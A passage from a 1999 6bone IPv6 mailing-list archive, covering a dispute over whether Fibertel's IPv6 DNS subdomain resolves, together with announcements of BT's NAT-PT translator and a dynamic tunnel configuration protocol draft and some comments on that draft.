as not valid either.  Hence I can only thus far conclude it as not routable.

>
>
>   -------------------------------------------------------------------------
>    Roman V. Palagin |RVP1-6BONE/RP40-RIPE/RVP3-RIPN| Network Administrator
>   -------------------------------------------------------------------------

Regards,

--
Jeffrey A. Williams
CEO/DIR. Internet Network Eng/SR. Java/CORBA Development Eng.
Information Network Eng. Group. INEG. INC.
E-Mail jwkckid1@ix.netcom.com
Contact Number:  972-447-1894
Address: 5 East Kirkwood Blvd. Grapevine Texas 75208



From 6bone-owner  Wed May 12 22:39:51 1999
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To: Patricio Latini <platini@fibertel.com.ar>
CC: 6bone@ISI.EDU
Subject: Re: New DNS server for IPv6 in Fibertel
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Patricio and all,

Patricio Latini wrote:

> Hello 6bone People:                              Due to the grow of
> this project in my company i installed a new DNS server for the domain
> ipv6.fibertel.com.ar.This server supports AAAA records and you can
> reach using it the www.ipv6.fibertel.com.ar WWW server 3ffe:3800:1::2
> and my ipv6 router cisco.ipv6.fibertel.com.ar (3ffe.3800:1::1).you can
> also reach my ipv4 running version of the www server at
> www-ipv4.ipv6.fibertel.com.ar.
>
>   This is not possible.  The com.ar is not routable thru IPv4 and is
> not valid
> according to NSI's whois or http://www.nic.ar/consultas/hosts.htm.
> Neither
> is 3ffe.3800:1::1 routable and is listed as not valid from
> http://www.nic.ar/consultas/hosts.htm as well.  I also get a "No DNS
> entry found"
> for you URL address www-ipv4.ipv6.fibertel.com.ar as well.  No small
> wonder however
> given the previous results I just mentioned.  I think you have a
> tunneling problem
> here.
>
>
>
>
>
>
>   i would like to hear toy comments about if it is working from all
> the 6bone. Thanks Patricio LatiniIPv6 Project ManagerFibertel
> TCI2Argentina

Regards,
--
Jeffrey A. Williams
CEO/DIR. Internet Network Eng/SR. Java/CORBA Development Eng.
Information Network Eng. Group. INEG. INC.
E-Mail jwkckid1@ix.netcom.com
Contact Number:  972-447-1894
Address: 5 East Kirkwood Blvd. Grapevine Texas 75208


--------------0CD522955DE669316B79B115
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Content-Transfer-Encoding: 7bit

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<BODY BGCOLOR="#FFFFFF">
Patricio and all,
<P>Patricio Latini wrote:
<BLOCKQUOTE TYPE=CITE><STYLE></STYLE>
<FONT SIZE=-1>Hello 6bone People:</FONT><FONT SIZE=-1>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
Due to the grow of this project in my company i installed a new DNS server
for the domain ipv6.fibertel.com.ar.</FONT><FONT SIZE=-1>This server supports
AAAA records and you can reach using it the <A HREF="http://www.ipv6.fibertel.com.ar">www.ipv6.fibertel.com.ar</A>
WWW server 3ffe:3800:1::2 and my ipv6 router cisco.ipv6.fibertel.com.ar
(3ffe.3800:1::1).</FONT><FONT SIZE=-1>you can also reach my ipv4 running
version of the www server at www-ipv4.ipv6.fibertel.com.ar.</FONT><FONT SIZE=-1></FONT>
<P><FONT SIZE=-1>&nbsp; This is not possible.&nbsp; The com.ar is not routable
thru IPv4 and is not valid</FONT>
<BR><FONT SIZE=-1>according to NSI's whois or <A HREF="http://www.nic.ar/consultas/hosts.htm">http://www.nic.ar/consultas/hosts.htm</A>.&nbsp;
Neither</FONT>
<BR><FONT SIZE=-1>is 3ffe.3800:1::1 routable and is listed as not valid
from</FONT>
<BR><FONT SIZE=-1><A HREF="http://www.nic.ar/consultas/hosts.htm">http://www.nic.ar/consultas/hosts.htm</A> as well.&nbsp;
I also get a "No DNS entry found"</FONT>
<BR><FONT SIZE=-1>for you URL address www-ipv4.ipv6.fibertel.com.ar as
well.&nbsp; No small wonder however</FONT>
<BR><FONT SIZE=-1>given the previous results I just mentioned.&nbsp; I
think you have a tunneling problem</FONT>
<BR><FONT SIZE=-1>here.</FONT>
<BR><FONT SIZE=-1></FONT>&nbsp;
<BR><FONT SIZE=-1></FONT>&nbsp;
<BR><FONT SIZE=-1></FONT>&nbsp;
<BR><FONT SIZE=-1></FONT>&nbsp;
<BR><FONT SIZE=-1></FONT>&nbsp;
<BR><FONT SIZE=-1></FONT>&nbsp;
<BR><FONT SIZE=-1></FONT>&nbsp;&nbsp;<FONT SIZE=-1>i would like to hear
toy comments about if it is working from all the 6bone.</FONT>&nbsp;<FONT SIZE=-1>Thanks</FONT>&nbsp;<FONT SIZE=-1>Patricio
Latini</FONT><FONT SIZE=-1>IPv6 Project Manager</FONT><FONT SIZE=-1>Fibertel
TCI2</FONT><FONT SIZE=-1>Argentina</FONT></BLOCKQUOTE>

<P><BR>Regards,
<BR>--
<BR>Jeffrey A. Williams
<BR>CEO/DIR. Internet Network Eng/SR. Java/CORBA Development Eng.
<BR>Information Network Eng. Group. INEG. INC.
<BR>E-Mail jwkckid1@ix.netcom.com
<BR>Contact Number:&nbsp; 972-447-1894
<BR>Address: 5 East Kirkwood Blvd. Grapevine Texas 75208
<BR>&nbsp;
</BODY>
</HTML>

--------------0CD522955DE669316B79B115--


From 6bone-owner  Wed May 12 22:44:24 1999
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Subject: Additional Routing problem to:[Fwd: Undeliverable: Re: Fibertel pTLA WWW site]
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Bill and all,

  In addition I get these silly Undeliverable messages (Bounce) back
from
my cc list on Peter Curran, Peter Tattam, and Patricio Latini due to
some
routing error as well.

Regards,

--
Jeffrey A. Williams
CEO/DIR. Internet Network Eng/SR. Java/CORBA Development Eng.
Information Network Eng. Group. INEG. INC.
E-Mail jwkckid1@ix.netcom.com
Contact Number:  972-447-1894
Address: 5 East Kirkwood Blvd. Grapevine Texas 75208


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Your message

  To:      Peter Curran
  Cc:      Peter Tattam; Patricio Latini; 6bone@ISI.EDU
  Subject: Re: Fibertel pTLA WWW site
  Sent:    Wed, 12 May 1999 13:04:54 -0500

did not reach the following recipient(s):

04/12/99 Morehead, Tom on Wed, 12 May 1999 23:05:01 -0500
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	The MTS-ID of the original message is: c=US;a=
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Message-ID: <3739C2C4.69B18FED@ix.netcom.com>
From: "Jeff Williams" <jwkckid1@ix.netcom.com>
To: "Peter Curran" <pcurran@ticl.co.uk>
cc: "Peter Tattam" <peter@jazz-1.trumpet.com.au>, "Patricio Latini"
 <platini@fibertel.com.ar>, <6bone@ISI.EDU>
Subject: Re: Fibertel pTLA WWW site
Date: Wed, 12 May 1999 13:04:54 -0500
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Peter,

  Well I thought that at first too.  But after checking, I can find no
problem
with DNS on my end here.  Everything else resolves fine.  I did a whois
off of RIPE and they cannot resolve this Domain either.

Peter Curran wrote:

> Just to add to the confusion....
>
> I have no problem resolving the name or accessing the site (quite good
> performance actually).
>
> Must be a problem at your end - possibly DNS?
>
> Peter
> TICL
>
> At 09:36 12/05/99 +0100, Jeff Williams wrote:
> >Peter and all,
> >
> >  I am sorry, but I was NOT able to resolve this Domain name or
> >site.  "DNS No entry found"  Whiis also shows NO DNS entry
> >for .fibertel.com.ar either.  What gives?
> >
> >Peter Tattam wrote:
> >
> >> On Mon, 10 May 1999, Patricio Latini wrote:
> >>
> >> > 6bone people:
> >> >                        We recently become a pTLA, and i want to tell
you
> >> > that i installes a new WWW server if you want to reach it it's
address is
> >> > www.ipv6.fibertel.com.ar or 3ffe:3800:1::2
> >> >
> >> > Thanks
> >> >
> >> > Patricio Latini
> >> > Fibertel TCI2
> >> > Argentina
> >> >
> >>
> >> I was able to sucessfully surf this web site.
> >>
> >> Well done.
> >>
> >> Peter
> >>
> >> --
> >> Peter R. Tattam                            peter@trumpet.com
> >> Managing Director,    Trumpet Software International Pty Ltd
> >> Hobart, Australia,  Ph. +61-3-6245-0220,  Fax +61-3-62450210
> >
> >Regards,
> >
> >--
> >Jeffrey A. Williams
> >CEO/DIR. Internet Network Eng/SR. Java/CORBA Development Eng.
> >Information Network Eng. Group. INEG. INC.
> >E-Mail jwkckid1@ix.netcom.com
> >Contact Number:  972-447-1894
> >Address: 5 East Kirkwood Blvd. Grapevine Texas 75208
> >
> ==============================================================
> Peter Curran                    pcurran@ticl.co.uk
http://www.ticl.co.uk
> Consultant and Author
> PGP key available from http://wwwkeys.uk.pgp.net:11371 or
> ldap://certserver.pgp.com
> PubKey Fingerprint =  5F94 D9A9 45EC 40A7 FB24  18BE 9C2E 74D6 E051 7F1F
> ===============================================================

Regards,

--
Jeffrey A. Williams
CEO/DIR. Internet Network Eng/SR. Java/CORBA Development Eng.
Information Network Eng. Group. INEG. INC.
E-Mail jwkckid1@ix.netcom.com
Contact Number:  972-447-1894
Address: 5 East Kirkwood Blvd. Grapevine Texas 75208


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From 6bone-owner  Thu May 13 01:05:19 1999
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	(envelope-from jabley)
Date: Thu, 13 May 1999 20:04:44 +1200
From: Joe Abley <jabley@clear.co.nz>
To: Jeff Williams <jwkckid1@ix.netcom.com>
Cc: bmanning@ISI.EDU, Peter Tattam <peter@jazz-1.trumpet.com.au>,
        Patricio Latini <platini@fibertel.com.ar>, 6bone@ISI.EDU,
        jabley@clear.co.nz
Subject: Re: Fibertel pTLA WWW site
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On Wed, May 12, 1999 at 10:26:52PM +0100, Jeff Williams wrote:
> > DIG indicates that while fibertel.com.ar is delegated, the subzone
> > ipv6 is not.
> 
>   Well you know as well as I do that DIG will give any of the results
> you choose for DIG to provide.  Hence it is not a very accurate
> tool to use for this query.

Yeah, Bill. The sooner you learn to use the DNS, the better. :)

-- 
Joe Abley <jabley@clear.co.nz>      Tel +64 9 912-4065, Fax +64 9 912-5008
Network Architect, CLEAR Communications Ltd       http://www.clear.net.nz/

From 6bone-owner  Thu May 13 02:03:46 1999
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Patricio and all,

  You are right.  But I am not pointing to as1.netcom.com name server
from my client.  Not to mention that the IP address at RIPE, ARIN as
well as APNIC, shows as not valid.  Neither Flashnet nor AOL: can resolve
this IP or your URL address either.  Hence it is lame.

Patricio Latini wrote:

> Jeff I made a nslookup based on your server and i saw that your registries
> are not update since many time ago i dont know why but the version of names
> of my organization that is cached on your organization nameserver
> (as1.netcom.com) is very old.
>
> Regards
>
> Patricio Latini
> Ipv6 Project Manager
> Fibertel TCI2
>
> ----- Original Message -----
> From: Jeff Williams <jwkckid1@ix.netcom.com>
> To: Peter Curran <pcurran@ticl.co.uk>
> Cc: Peter Tattam <peter@jazz-1.trumpet.com.au>; Patricio Latini
> <platini@fibertel.com.ar>; <6bone@ISI.EDU>
> Sent: Miércoles 12 de Mayo de 1999 15:04
> Subject: Re: Fibertel pTLA WWW site
>
> >Peter,
> >
> >  Well I thought that at first too.  But after checking, I can find no
> problem
> >with DNS on my end here.  Everything else resolves fine.  I did a whois
> >off of RIPE and they cannot resolve this Domain either.
> >
> >Peter Curran wrote:
> >
> >> Just to add to the confusion....
> >>
> >> I have no problem resolving the name or accessing the site (quite good
> >> performance actually).
> >>
> >> Must be a problem at your end - possibly DNS?
> >>
> >> Peter
> >> TICL
> >>
> >> At 09:36 12/05/99 +0100, Jeff Williams wrote:
> >> >Peter and all,
> >> >
> >> >  I am sorry, but I was NOT able to resolve this Domain name or
> >> >site.  "DNS No entry found"  Whiis also shows NO DNS entry
> >> >for .fibertel.com.ar either.  What gives?
> >> >
> >> >Peter Tattam wrote:
> >> >
> >> >> On Mon, 10 May 1999, Patricio Latini wrote:
> >> >>
> >> >> > 6bone people:
> >> >> >                        We recently become a pTLA, and i want to tell
> you
> >> >> > that i installes a new WWW server if you want to reach it it's
> address is
> >> >> > www.ipv6.fibertel.com.ar or 3ffe:3800:1::2
> >> >> >
> >> >> > Thanks
> >> >> >
> >> >> > Patricio Latini
> >> >> > Fibertel TCI2
> >> >> > Argentina
> >> >> >
> >> >>
> >> >> I was able to sucessfully surf this web site.
> >> >>
> >> >> Well done.
> >> >>
> >> >> Peter
> >> >>
> >> >> --
> >> >> Peter R. Tattam                            peter@trumpet.com
> >> >> Managing Director,    Trumpet Software International Pty Ltd
> >> >> Hobart, Australia,  Ph. +61-3-6245-0220,  Fax +61-3-62450210
> >> >
> >> >Regards,
> >> >
> >> >--
> >> >Jeffrey A. Williams
> >> >CEO/DIR. Internet Network Eng/SR. Java/CORBA Development Eng.
> >> >Information Network Eng. Group. INEG. INC.
> >> >E-Mail jwkckid1@ix.netcom.com
> >> >Contact Number:  972-447-1894
> >> >Address: 5 East Kirkwood Blvd. Grapevine Texas 75208
> >> >
> >> ==============================================================
> >> Peter Curran                    pcurran@ticl.co.uk
> http://www.ticl.co.uk
> >> Consultant and Author
> >> PGP key available from http://wwwkeys.uk.pgp.net:11371 or
> >> ldap://certserver.pgp.com
> >> PubKey Fingerprint =  5F94 D9A9 45EC 40A7 FB24  18BE 9C2E 74D6 E051 7F1F
> >> ===============================================================
> >
> >Regards,
> >
> >--
> >Jeffrey A. Williams
> >CEO/DIR. Internet Network Eng/SR. Java/CORBA Development Eng.
> >Information Network Eng. Group. INEG. INC.
> >E-Mail jwkckid1@ix.netcom.com
> >Contact Number:  972-447-1894
> >Address: 5 East Kirkwood Blvd. Grapevine Texas 75208
> >
> >

Regards,

--
Jeffrey A. Williams
CEO/DIR. Internet Network Eng/SR. Java/CORBA Development Eng.
Information Network Eng. Group. INEG. INC.
E-Mail jwkckid1@ix.netcom.com
Contact Number:  972-447-1894
Address: 5 East Kirkwood Blvd. Grapevine Texas 75208



From 6bone-owner  Thu May 13 02:10:18 1999
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From: Jeff Williams <jwkckid1@ix.netcom.com>
Organization: INEG. Inc.
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To: Peter Tattam <peter@jazz-1.trumpet.com.au>
CC: deployment@ipv6.org, 6bone@ISI.EDU, ipng@sunroof.eng.sun.com
Subject: Re: Yet another Dynamic Tunnel Configuration Protocol
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Peter and all,

  The URL you are listing does not resolve either.  "No DNS Entry".
Do you possibly have a URL with this information on your
Trumpet.com domain?

Peter Tattam wrote:

> I am publishing a draft specification of a tunnel configuration protocol that I
> have designed and implemented.  Another implementation was quickly
> developed by the KAME group, to which we obtained good interoperability.
>
> HTTP://jazz-1.trumpet.com.au/ipv6-draft/dtcp-draft-prt-13-may-1999.htm
>
> Comments either to me or to the lists.
>
> I will be using this protocol or further derivations of it to roll out IPv6 to
> our regular IPv4 internet customers.
>
> Apologies if this is sent to the wrong lists, or if I have duplicated the work
> of others.  I did review the tunnel broker model and I believe that this
> protocol can only serve to complement it.
>
> Peter
>
> --
> Peter R. Tattam                            peter@trumpet.com
> Managing Director,    Trumpet Software International Pty Ltd
> Hobart, Australia,  Ph. +61-3-6245-0220,  Fax +61-3-62450210

Regards,

--
Jeffrey A. Williams
CEO/DIR. Internet Network Eng/SR. Java/CORBA Development Eng.
Information Network Eng. Group. INEG. INC.
E-Mail jwkckid1@ix.netcom.com
Contact Number:  972-447-1894
Address: 5 East Kirkwood Blvd. Grapevine Texas 75208



From 6bone-owner  Thu May 13 02:15:52 1999
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Date: Thu, 13 May 1999 02:29:19 +0100
From: Jeff Williams <jwkckid1@ix.netcom.com>
Organization: INEG. Inc.
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To: Joe Abley <jabley@clear.co.nz>
CC: bmanning@ISI.EDU, Peter Tattam <peter@jazz-1.trumpet.com.au>,
        Patricio Latini <platini@fibertel.com.ar>, 6bone@ISI.EDU
Subject: Re: Fibertel pTLA WWW site
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Joe and all,

  What was the purpose of this smart remark?  Hummmm?  I was pointing
out to Bill in a serious manner, that DIG is fine for some things but is not
necessarily authoritative, which I know that he knows very well.  So I am
having a problem with you making such a smart ass remark....  :(

  Are you Joe, possibly suffering form an attitude problem perhaps?

Joe Abley wrote:

> On Wed, May 12, 1999 at 10:26:52PM +0100, Jeff Williams wrote:
> > > DIG indicates that while fibertel.com.ar is delegated, the subzone
> > > ipv6 is not.
> >
> >   Well you know as well as I do that DIG will give any of the results
> > you choose for DIG to provide.  Hence it is not a very accurate
> > tool to use for this query.
>
> Yeah, Bill. The sooner you learn to use the DNS, the better. :)
>
> --
> Joe Abley <jabley@clear.co.nz>      Tel +64 9 912-4065, Fax +64 9 912-5008
> Network Architect, CLEAR Communications Ltd       http://www.clear.net.nz/

Regards,
--
Jeffrey A. Williams
CEO/DIR. Internet Network Eng/SR. Java/CORBA Development Eng.
Information Network Eng. Group. INEG. INC.
E-Mail jwkckid1@ix.netcom.com
Contact Number:  972-447-1894
Address: 5 East Kirkwood Blvd. Grapevine Texas 75208



From 6bone-owner  Thu May 13 03:55:33 1999
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To: 6bone@ISI.EDU
Subject: NAT-PT announcement.
Date: Thu, 13 May 1999 11:54:17 +0100
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Dear 6BONE community,

I'm forwarding this announcement on behalf of the NAT-PT development team
because I think the previous announcement did not get through this important
list, sorry if you are receiving this twice.

NAT-PT is a v4/v6 translator developed in BT Labs which allows transparent
bidirectional communication between IPv4 and IPv6 networks, the translator
includes a DNS ALG which ensures true transparency and makes the major
difference between this and other translators. Please see below for more
detailed information on NAT-PT.

We have tested the NAT-PT and we are very proud of how it works, we firmly
believe and hope that the NAT-PT development will help boost IPv6 deployment
and proves useful for the transition to IPv6. For this purpose we make
available the software including the source code.

We encourage you to download NAT-PT (see below) and try it, we welcome any
feedback, comments, bug report, etc, and you can obtain support mailing the
NAT-PT development team at:

natpt@labyrinth.bt.co.uk

Thanks,

Antonio Herrera
BT Laboratories
Martlesham Heath, UK.

************** NAT-PT ***************
BT have developed an implementation of NAT-PT (Network Address Translation -
Protocol Translation) which is based on the IETF draft specification
<draft-ietf-ngtrans-natpt-05.txt> 
http://search.ietf.org/internet-drafts/draft-ietf-ngtrans-natpt-05.txt.
NAT-PT provides a seamless 
bi-directional translation capability between IPv4 and IPv6 networks. NAT-PT
is located on the 
boundary router between IPv4 and IPv6 and translates all packets crossing
the boundary and where
necessary assigns a global IPv4 address to represent an IPv6 host. DNS is a
vital
component of NAT-PT as it allows hosts to communicate across the boundary by
knowledge 
of DNS addresses and negates the need for end hosts to be concerned about
the 
destination host network type of IP address.

The implementation developed in BT resides on a FreeBSD host using the Kame
IPv6 stack
for connection to the IPv6 network. We are making the implementation
available to
promote the draft specification, which was jointly written by BT and Lucent,
and also
the concept of NAT-PT as an IPv4/IPv6 translation mechanism.

We have two sites from which the NAT-PT implementation may be downloaded
from.
http://nat-pt.ipv6.bt.net is a 6bone web site. Alternatively
http://www.labs.bt.com/technical/nat_pt/
provides the same access via the Internet. We do ask that you identify
yourself
prior to downloading the code so that we can gauge the level of interest and
for the
notification of code updates. If you would like to send us comments or
report bugs
please reply to this email address

natpt@labyrinth.bt.co.uk
 


From 6bone-owner  Thu May 13 04:25:39 1999
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From: Bill Manning <bmanning@ISI.EDU>
Message-Id: <199905131125.EAA05277@boreas.isi.edu>
Subject: Re: Yet another Dynamic Tunnel Configuration Protocol
To: jwkckid1@ix.netcom.com (Jeff Williams)
Date: Thu, 13 May 1999 04:25:32 -0700 (PDT)
Cc: peter@jazz-1.trumpet.com.au (Peter Tattam), deployment@ipv6.org,
        6bone@ISI.EDU, ipng@sunroof.eng.sun.com
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Odd, it resolves just fine.

; <<>> DiG 8.1 <<>> jazz-1.trumpet.com.au 
;; res options: init recurs defnam dnsrch
;; got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 6
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 8, ADDITIONAL: 7
;; QUERY SECTION:
;;      jazz-1.trumpet.com.au, type = A, class = IN

;; ANSWER SECTION:
jazz-1.trumpet.com.au.  1D IN A         203.5.119.62




> 
> Peter and all,
> 
>   The URL you are listing does not resolve either.  "No DNS Entry".
> Do you possibly have a URL with this information on your
> Trumpet.com domain?
> 
> Peter Tattam wrote:
> 
> > I am publishing a draft specification of a tunnel configuration protocol that I
> > have designed and implemented.  Another implementation was quickly
> > developed by the KAME group, to which we obtained good interoperability.
> >
> > HTTP://jazz-1.trumpet.com.au/ipv6-draft/dtcp-draft-prt-13-may-1999.htm
> >
> > Comments either to me or to the lists.
> >
> > I will be using this protocol or further derivations of it to roll out IPv6 to
> > our regular IPv4 internet customers.
> >
> > Apologies if this is sent to the wrong lists, or if I have duplicated the work
> > of others.  I did review the tunnel broker model and I believe that this
> > protocol can only serve to complement it.
> >
> > Peter
> >
> > --
> > Peter R. Tattam                            peter@trumpet.com
> > Managing Director,    Trumpet Software International Pty Ltd
> > Hobart, Australia,  Ph. +61-3-6245-0220,  Fax +61-3-62450210
> 
> Regards,
> 
> --
> Jeffrey A. Williams
> CEO/DIR. Internet Network Eng/SR. Java/CORBA Development Eng.
> Information Network Eng. Group. INEG. INC.
> E-Mail jwkckid1@ix.netcom.com
> Contact Number:  972-447-1894
> Address: 5 East Kirkwood Blvd. Grapevine Texas 75208
> 
> 
> 


-- 
--bill

From 6bone-owner  Thu May 13 05:52:37 1999
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To: Peter Tattam <peter@jazz-1.trumpet.com.au>
Cc: deployment@ipv6.org, 6bone@ISI.EDU, ipng@sunroof.eng.sun.com
Subject: Re: (IPng 7522) Yet another Dynamic Tunnel Configuration Protocol
References: <Pine.BSF.3.96.990513141623.3760A-100000@jazz-1.trumpet.com.au>
From: Magnus Ahltorp <map@stacken.kth.se>
Content-Type: text/plain; charset="iso-8859-1"
Date: 13 May 1999 14:52:08 +0200
In-Reply-To: Peter Tattam's message of "Thu, 13 May 1999 14:27:48 +1000 (EST)"
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> HTTP://jazz-1.trumpet.com.au/ipv6-draft/dtcp-draft-prt-13-may-1999.htm
>
> Comments either to me or to the lists.

"Once a tunnel is established, the client may use normal tunnel
protocols for IPv6 tunnelling using the endpoints supplied by the
server, typically over IP port 41."

I would suggest using the term "IP protocol 41" instead of "IP port
41".

"It is important to note that in this protocol, the <empty string> is
a valid command and should result in a -ERR response."

If it is a valid command, why should the command result in a -ERR
response? Why is the <empty string> a valid command?

"Unrecognized commands should invoke a -ERR response."

"Any other commands are totally ignored by the tunnel server, and no
response must be sent."

It is just me, or is this inconsistent? The latter tells me that
unrecognized commands must result in no response, but the former tells
me that it should result in a -ERR response.

The quit command response is actually specified to be "+OK tunnel
server quitting" which I think should be "+OK <optional comment>"
which is consistent with the example in the appendix.

/Magnus

From 6bone-owner  Thu May 13 09:55:19 1999
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Message-ID: <007c01be9d61$87eedf40$1000e818@fibertel.com.ar>
From: "Patricio Latini" <platini@fibertel.com.ar>
To: <6bone@ISI.EDU>
Date: Thu, 13 May 1999 13:56:22 -0300
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This is a multi-part message in MIME format.

------=_NextPart_000_0079_01BE9D48.6265FDD0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

I was seeing the evolution of the message that i posted some days ago. =
It wasn't my idea to generate something like that but i will give all =
the data to finish this

mydomain is fibertel.com.ar
due to the hierarchial structure od DNS my domain is registered in NIC =
Argentina (www.nic.ar) here i cut and parte the registry

fibertel.com.ar

-------------------------------------------------------------------------=
-------

Entidad Registrante: Cablevision S.A.
Direcci=F3n: BONPLAND 1773
Ciudad: Capital Federal
C=F3digo Postal: 1414
Pa=EDs: Argentina
Tel=E9fono: 778-6060
Fax: NO INGRESADO
Actividad Principal: Television

Persona Responsable: Soporte Tecnico Fibertel
Direcci=F3n: Bonpland 1773
Ciudad: Buenos Aires
C=F3digo Postal: 1414
Pa=EDs: Argentina
Tel=E9fono: 778-6060
Horarios Contacto: 09:00 - 18:00
Direcci=F3n de correo electr=F3nico: noc@fibertel.com.ar

Fecha de registraci=F3n: 21/07/1997
Entidad Administradora: Cablevision S.A.
Direcci=F3n: BONPLAND 1773
Ciudad: Capital Federal
C=F3digo Postal: 1414
Pa=EDs: Argentina
Tel=E9fono: 778-6060
Fax: NO INGRESADO
Actividad Principal: Television


Contacto T=E9cnico: R. E. ESCOBAR
Direcci=F3n: BONPLAND 1773
Ciudad: CAPITAL FEDERAL
C=F3digo Postal: 1414
Pa=EDs: Argentina
Tel=E9fono: 778-6060
Horario Contacto: NO INGRESADO
Fax: NO INGRESADO
Direcci=F3n de Correo Electr=F3nico: jouvina@lightech.com.ar=20
Servidores de Nombre de Dominio
Servidor de Nombres Primario:=20
Nombre: dns1.cvtci.com.ar
Direcci=F3n ip: 24.232.0.17

Servidor de Nombres Secundario:=20
Nombre: dns2.cvtci.com.ar
Direcci=F3n ip: 24.232.0.18


again Due to hierarchial structure of DNS i havent to registry a =
subdomain delegation to anyone.=20
so i created the ipv6.fibertel.com.ar and i delegated in my primary dns =
to other DNS Server (24.232.1.4) dns.ipv6.fibertel.com.ar

i have also done nslookups from many servers in the internet like aol, =
spint and more and all can resolve my domain.

but i see that netcom regestries are not updated since one month. =
(serial number)

Another point is that i'm peering throught 4 tunnels to the other =
backbone sites and running bgp 4+ and i think that ipv6 my pool is =
reacheable from all the 6bone

I ask to all the 6bone members if they cant test the connection to me. =
and tell me if i am reacheable from their location

Thanks for ALL

Patricio Latini
IPv6 Project Manager
Fibertel TCI2
Argentina

------=_NextPart_000_0079_01BE9D48.6265FDD0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN">
<HTML><HEAD>
<META content=3Dtext/html;charset=3Diso-8859-1 =
http-equiv=3DContent-Type>
<STYLE></STYLE>

<META content=3D'"MSHTML 5.00.0910.1309"' name=3DGENERATOR></HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT size=3D2>I was seeing the evolution of the message that i =
posted some=20
days ago. It wasn't my idea to generate something like that but i will =
give all=20
the data to finish this</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT size=3D2>mydomain is fibertel.com.ar</FONT></DIV>
<DIV><FONT size=3D2>due to the hierarchial structure od DNS my domain is =

registered in NIC Argentina (<A =
href=3D"http://www.nic.ar">www.nic.ar</A>) here i=20
cut and parte the&nbsp;registry</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT size=3D2>fibertel.com.ar</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT=20
size=3D2>----------------------------------------------------------------=
----------------</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT size=3D2>Entidad Registrante: Cablevision =
S.A.<BR>Direcci=F3n: BONPLAND=20
1773<BR>Ciudad: Capital Federal<BR>C=F3digo Postal: 1414<BR>Pa=EDs:=20
Argentina<BR>Tel=E9fono: 778-6060<BR>Fax: NO INGRESADO<BR>Actividad =
Principal:=20
Television</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT size=3D2>Persona Responsable: Soporte Tecnico =
Fibertel<BR>Direcci=F3n:=20
Bonpland 1773<BR>Ciudad: Buenos Aires<BR>C=F3digo Postal: =
1414<BR>Pa=EDs:=20
Argentina<BR>Tel=E9fono: 778-6060<BR>Horarios Contacto: 09:00 - =
18:00<BR>Direcci=F3n=20
de correo electr=F3nico: <A=20
href=3D"mailto:noc@fibertel.com.ar">noc@fibertel.com.ar</A></FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT size=3D2>Fecha de registraci=F3n: 21/07/1997<BR>Entidad =
Administradora:=20
Cablevision S.A.<BR>Direcci=F3n: BONPLAND 1773<BR>Ciudad: Capital=20
Federal<BR>C=F3digo Postal: 1414<BR>Pa=EDs: Argentina<BR>Tel=E9fono: =
778-6060<BR>Fax:=20
NO INGRESADO<BR>Actividad Principal: Television</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT size=3D2><BR>Contacto T=E9cnico: R. E. =
ESCOBAR<BR>Direcci=F3n: BONPLAND=20
1773<BR>Ciudad: CAPITAL FEDERAL<BR>C=F3digo Postal: 1414<BR>Pa=EDs:=20
Argentina<BR>Tel=E9fono: 778-6060<BR>Horario Contacto: NO =
INGRESADO<BR>Fax: NO=20
INGRESADO<BR>Direcci=F3n de Correo Electr=F3nico: <A=20
href=3D"mailto:jouvina@lightech.com.ar">jouvina@lightech.com.ar</A> =
<BR>Servidores=20
de Nombre de Dominio<BR>Servidor de Nombres Primario: <BR>Nombre:=20
dns1.cvtci.com.ar<BR>Direcci=F3n ip: 24.232.0.17</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT size=3D2>Servidor de Nombres Secundario: <BR>Nombre:=20
dns2.cvtci.com.ar<BR>Direcci=F3n ip: 24.232.0.18<BR></FONT><FONT=20
size=3D2></FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT size=3D2>again Due to hierarchial structure of DNS i havent =
to registry=20
a subdomain delegation to anyone. </FONT></DIV>
<DIV><FONT size=3D2>so i created the ipv6.fibertel.com.ar </FONT><FONT =
size=3D2>and=20
i delegated in my primary dns to other DNS Server (24.232.1.4)=20
dns.ipv6.fibertel.com.ar</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT size=3D2>i have also done nslookups from many servers in the =
internet=20
like aol, spint and more and all can resolve my domain.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT size=3D2>but i see that netcom regestries are not updated =
since one=20
month. (serial number)</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT size=3D2>Another point is that i'm peering throught 4 tunnels =
to the=20
other backbone sites and running bgp 4+ and i think that ipv6 my pool is =

reacheable from all the 6bone</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT size=3D2>I ask to all the 6bone members if they cant test the =

connection to me. and tell me if i am reacheable from their=20
location</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT size=3D2>Thanks for ALL</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT size=3D2>Patricio Latini</FONT></DIV>
<DIV><FONT size=3D2>IPv6 Project Manager</FONT></DIV>
<DIV><FONT size=3D2>Fibertel TCI2</FONT></DIV>
<DIV><FONT size=3D2>Argentina</FONT></DIV></BODY></HTML>

------=_NextPart_000_0079_01BE9D48.6265FDD0--


From 6bone-owner  Thu May 13 14:24:03 1999
